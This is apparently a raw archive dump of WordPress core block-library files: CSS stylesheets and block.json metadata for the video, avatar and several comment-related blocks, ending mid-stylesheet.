.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{ display:none; } .wp-block-video.wp-block-video.is-selected .components-placeholder:before{ opacity:0; } .wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{ transition:none; } .wp-block[data-align=center]>.wp-block-video{ text-align:center; } .wp-block-video{ position:relative; } .wp-block-video.is-transient video{ opacity:.3; } .wp-block-video .components-spinner{ left:50%; margin-left:-9px; margin-top:-9px; position:absolute; top:50%; } .editor-video-poster-control .components-base-control__label{ display:block; } .editor-video-poster-control .components-button{ margin-right:8px; } .block-library-video-tracks-editor{ z-index:159990; } .block-library-video-tracks-editor__track-list-track{ padding-left:12px; } .block-library-video-tracks-editor__single-track-editor-kind-select{ max-width:240px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label{ color:#757575; display:block; font-size:11px; font-weight:500; margin-top:4px; text-transform:uppercase; } .block-library-video-tracks-editor>.components-popover__content{ padding:0; width:360px; } .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{ padding:0; } .block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{ padding:12px; }blocks/video/theme.min.css000064400000000252151202620300011513 0ustar00.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}blocks/video/style.min.css000064400000000417151202620300011554 0ustar00.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}blocks/video/theme-rtl.css000064400000000302151202620300011524 0ustar00.wp-block-video figcaption{ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-video figcaption{ color:hsla(0,0%,100%,.65); } .wp-block-video{ margin:0 0 1em; }blocks/video/editor-rtl.css000064400000003726151202620300011725 0ustar00.wp-block-video.wp-block-video.is-selected .components-placeholder{ background-color:#fff; border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; } .wp-block-video.wp-block-video.is-selected .components-placeholder>svg{ opacity:0; } .wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{ display:none; } .wp-block-video.wp-block-video.is-selected .components-placeholder:before{ opacity:0; } .wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{ transition:none; } .wp-block[data-align=center]>.wp-block-video{ text-align:center; } .wp-block-video{ position:relative; } .wp-block-video.is-transient video{ opacity:.3; } .wp-block-video .components-spinner{ margin-right:-9px; margin-top:-9px; position:absolute; right:50%; top:50%; } .editor-video-poster-control .components-base-control__label{ display:block; } .editor-video-poster-control .components-button{ margin-left:8px; } .block-library-video-tracks-editor{ z-index:159990; } .block-library-video-tracks-editor__track-list-track{ padding-right:12px; } .block-library-video-tracks-editor__single-track-editor-kind-select{ max-width:240px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label{ color:#757575; display:block; font-size:11px; font-weight:500; margin-top:4px; text-transform:uppercase; } .block-library-video-tracks-editor>.components-popover__content{ padding:0; width:360px; } .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{ padding:0; } .block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{ padding:12px; }blocks/video/editor-rtl.min.css000064400000003467151202620300012511 0ustar00.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}blocks/video/style-rtl.css000064400000000472151202620300011572 0ustar00.wp-block-video{ box-sizing:border-box; } .wp-block-video video{ vertical-align:middle; width:100%; } @supports (position:sticky){ .wp-block-video [poster]{ object-fit:cover; } } .wp-block-video.aligncenter{ text-align:center; } .wp-block-video figcaption{ margin-bottom:1em; margin-top:.5em; }blocks/video/style.css000064400000000472151202620300010773 0ustar00.wp-block-video{ box-sizing:border-box; } .wp-block-video video{ vertical-align:middle; width:100%; } @supports (position:sticky){ .wp-block-video [poster]{ object-fit:cover; } } .wp-block-video.aligncenter{ text-align:center; } .wp-block-video figcaption{ margin-bottom:1em; margin-top:.5em; }blocks/avatar/editor.min.css000064400000000167151202620300012054 0ustar00.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}blocks/avatar/style-rtl.min.css000064400000000212151202620300012514 0ustar00.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}blocks/avatar/block.json000064400000002056151202620300011256 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/avatar", "title": "Avatar", "category": "theme", "description": "Add a user’s avatar.", "textdomain": "default", "attributes": { "userId": { "type": "number" }, "size": { "type": "number", "default": 96 }, "isLink": { "type": "boolean", "default": false }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postType", "postId", "commentId" ], "supports": { "html": false, "align": true, "alignWide": false, "spacing": { "margin": true, "padding": true }, "__experimentalBorder": { "__experimentalSkipSerialization": true, "radius": true, "width": true, "color": true, "style": true, "__experimentalDefaultControls": { "radius": true } }, "color": { "text": false, "background": false, "__experimentalDuotone": "img" } }, "selectors": { "border": ".wp-block-avatar img" }, "editorStyle": "wp-block-avatar-editor", "style": "wp-block-avatar" } blocks/avatar/editor.css000064400000000203151202620300011261 0ustar00.wp-block-avatar__image img{ width:100%; } .wp-block-avatar.aligncenter .components-resizable-box__container{ margin:0 auto; }blocks/avatar/style.min.css000064400000000212151202620300011715 0ustar00.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}blocks/avatar/editor-rtl.css000064400000000203151202620300012060 0ustar00.wp-block-avatar__image img{ width:100%; } .wp-block-avatar.aligncenter .components-resizable-box__container{ margin:0 auto; }blocks/avatar/editor-rtl.min.css000064400000000167151202620300012653 0ustar00.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}blocks/avatar/style-rtl.css000064400000000233151202620300011735 0ustar00.wp-block-avatar{ line-height:0; } .wp-block-avatar,.wp-block-avatar img{ box-sizing:border-box; } .wp-block-avatar.aligncenter{ text-align:center; }blocks/avatar/style.css000064400000000233151202620300011136 0ustar00.wp-block-avatar{ line-height:0; } .wp-block-avatar,.wp-block-avatar img{ box-sizing:border-box; } .wp-block-avatar.aligncenter{ text-align:center; }blocks/comment-author-name/block.json000064400000002162151202620300013656 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-author-name", "title": "Comment Author Name", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the name of the author of the comment.", "textdomain": "default", "attributes": { "isLink": { "type": "boolean", "default": true }, "linkTarget": { "type": "string", "default": "_self" }, "textAlign": { "type": "string" } }, "usesContext": [ "commentId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comment-content/style-rtl.min.css000064400000000114151202620300014351 0ustar00.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}blocks/comment-content/block.json000064400000002023151202620300013104 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-content", "title": "Comment Content", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the contents of a comment.", "textdomain": "default", "usesContext": [ "commentId" ], "attributes": { "textAlign": { "type": "string" } }, "supports": { "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "padding": [ "horizontal", "vertical" ], "__experimentalDefaultControls": { "padding": true } }, "html": false } } blocks/comment-content/style.min.css000064400000000114151202620300013552 0ustar00.comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}blocks/comment-content/style-rtl.css000064400000000127151202620300013573 0ustar00.comment-awaiting-moderation{ display:block; font-size:.875em; line-height:1.5; }blocks/comment-content/style.css000064400000000127151202620300012774 0ustar00.comment-awaiting-moderation{ display:block; font-size:.875em; line-height:1.5; }blocks/comment-date/block.json000064400000002042151202620300012350 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-date", "title": "Comment Date", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the date on which the comment was posted.", "textdomain": "default", "attributes": { "format": { "type": "string" }, "isLink": { "type": "boolean", "default": true } }, "usesContext": [ "commentId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comment-edit-link/block.json000064400000002207151202620300013316 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-edit-link", "title": "Comment Edit Link", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.", "textdomain": "default", "usesContext": [ "commentId" ], "attributes": { "linkTarget": { "type": "string", "default": "_self" }, "textAlign": { "type": "string" } }, "supports": { "html": false, "color": { "link": true, "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/comment-reply-link/block.json000064400000001751151202620300013527 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-reply-link", "title": "Comment Reply Link", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays a link to reply to a comment.", "textdomain": "default", "usesContext": [ "commentId" ], "attributes": { "textAlign": { "type": "string" } }, "supports": { "color": { "gradients": true, "link": true, "text": false, "__experimentalDefaultControls": { "background": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "html": false } } blocks/comment-template/style-rtl.min.css000064400000000710151202620300014514 0ustar00.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:left}blocks/comment-template/block.json000064400000001610151202620300013246 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-template", "title": "Comment Template", "category": "design", "parent": [ "core/comments" ], "description": "Contains the block elements used to display a comment, like the title, date, author, avatar and more.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "align": true, "html": false, "reusable": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "style": "wp-block-comment-template" } blocks/comment-template/style.min.css000064400000000707151202620300013723 0ustar00.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:right}blocks/comment-template/style-rtl.css000064400000001011151202620300013725 0ustar00.wp-block-comment-template{ box-sizing:border-box; list-style:none; margin-bottom:0; max-width:100%; padding:0; } .wp-block-comment-template li{ clear:both; } .wp-block-comment-template ol{ list-style:none; margin-bottom:0; max-width:100%; padding-right:2rem; } .wp-block-comment-template.alignleft{ float:right; } .wp-block-comment-template.aligncenter{ margin-left:auto; margin-right:auto; width:-moz-fit-content; width:fit-content; } .wp-block-comment-template.alignright{ float:left; }blocks/comment-template/style.css000064400000001010151202620300013125 0ustar00.wp-block-comment-template{ box-sizing:border-box; list-style:none; margin-bottom:0; max-width:100%; padding:0; } .wp-block-comment-template li{ clear:both; } .wp-block-comment-template ol{ list-style:none; margin-bottom:0; max-width:100%; padding-left:2rem; } .wp-block-comment-template.alignleft{ float:left; } .wp-block-comment-template.aligncenter{ margin-left:auto; margin-right:auto; width:-moz-fit-content; width:fit-content; } .wp-block-comment-template.alignright{ float:right; }blocks/comments/editor.min.css000064400000010407151202620300012421 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}blocks/comments/style-rtl.min.css000064400000004430151202620300013071 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}blocks/comments/block.json000064400000002232151202620300011621 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments", "title": "Comments", "category": "theme", "description": "An advanced block that allows displaying post comments using different visual configurations.", "textdomain": "default", "attributes": { "tagName": { "type": "string", "default": "div" }, "legacy": { "type": "boolean", "default": false } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-comments-editor", "usesContext": [ "postId", "postType" ] } blocks/comments/editor.css000064400000010775151202620300011647 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{ box-sizing:border-box; } .wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{ float:left; } .wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{ float:right; } .wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-left:3.25em; } .wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:left; height:2.5em; margin-right:.75em; margin-top:.5em; width:2.5em; } .wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-left:.5em; } .wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; } .block-library-comments-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-comments__legacy-placeholder *{ pointer-events:none; }blocks/comments/style.min.css000064400000004426151202620300012277 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}blocks/comments/editor-rtl.css000064400000010777151202620300012450 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{ box-sizing:border-box; } .wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{ float:right; } .wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{ float:left; } .wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-right:3.25em; } .wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:right; height:2.5em; margin-left:.75em; margin-top:.5em; width:2.5em; } .wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-comments__legacy-placeholder .comment-meta 